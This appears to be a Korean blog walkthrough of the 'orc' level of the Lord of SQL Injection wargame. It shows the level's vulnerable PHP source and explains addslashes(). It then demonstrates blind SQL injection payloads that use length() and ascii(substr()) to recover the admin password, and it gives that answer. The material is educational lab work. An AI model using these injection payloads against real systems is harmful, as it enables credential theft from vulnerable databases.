query : select id from prob_orc where id='admin' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
PHP 문법
addslashes()
- DB는 구분 기호인 " ' \ 등을 사용
- 하나의 ' (싱글 쿼테이션)나 " (더블 쿼테이션) 같은 구분자가 들어가면 예상치 않은 오류 발생
( 'It's an apple' 이렇게 쿼리를 전송하면 It뒤에 ' (싱글 쿼테이션)로 인해 오류 ) - 'It\'s an apple' 으로 addslashes() 가 \(백슬래시)를 붙여 바꿔 작업 수행
stripslashes ()
- addslashes함수 반대 기능으로 입력될 때 DB에서 추가되었던 \ (백슬래시)를 제거해주는 함수
코드 해석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
- pw에 prob _ . () 가 포함될 경우 "No Hack ~_~" 출력
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
- Qurey의 id는 admin으로 고정되어 있음
- Qurey의 pw에 GET 방식으로 삽입
$_GET[pw] = addslashes($_GET[pw]);
- " ' ` 등의 기호를 이스케이프하기 때문에 문자열 대입은 힘듬
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
- DB의 pw와 addslashes필터링된 입력 pw가 같으면 문제해결
- pw를 직/간접적으로 알아야하는 상황
문제 해결
- admin의 pw를 입력해야 문제 해결, Blind Injection 수행
- Password 길이 확인
- ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행
Password 길이 확인
- Hello admin 출력으로 참/거짓 확인
- pw 는 8자리
- pw 9 자리 미만 : True
( ?pw=' || id='admin' and length(pw)<9%23 )
- pw 8 자리 미만 : False
( ?pw=' || id='admin' and length(pw)<8%23 )
ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행
substr() 활용
- substr(pw,3,2) : pw문자열의 3번째 부터 2글자 출력
- ascii 코드 번호 49 미만 : True
(?pw=' || id='admin' and ascii(substr(pw,1,1))<49%23) - ascii 코드 번호 48 미만 : False
(?pw=' || id='admin' and ascii(substr(pw,1,1))<48%23) - pw는 첫번째 글자는 ascii code 48 ( "0" )
- ascii 코드 번호 58 미만 : True
(?pw=' || id='admin' and ascii(substr(pw,2,1))<58%23) - ascii 코드 번호 57 미만 : False
(?pw=' || id='admin' and ascii(substr(pw,2,1))<57%23) - pw는 두번째 글자는 ascii code 57 ( "9" )
ASCII Code Table
Python 활용
GET 방식으로 URL에 pw 대입 ( ?pw=095a9852 )
- query : select id from prob_orc where id='admin' and pw='095a9852'
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 06 ] darklef (0) | 2021.12.18 |
---|---|
[ LS - 05 ] wolfman (0) | 2021.12.18 |
[ LS - 03 ] goblin (0) | 2021.12.18 |
[ LS - 02 ] cobolt (0) | 2021.12.18 |
[ LS - 01 ] gremlin (0) | 2021.12.18 |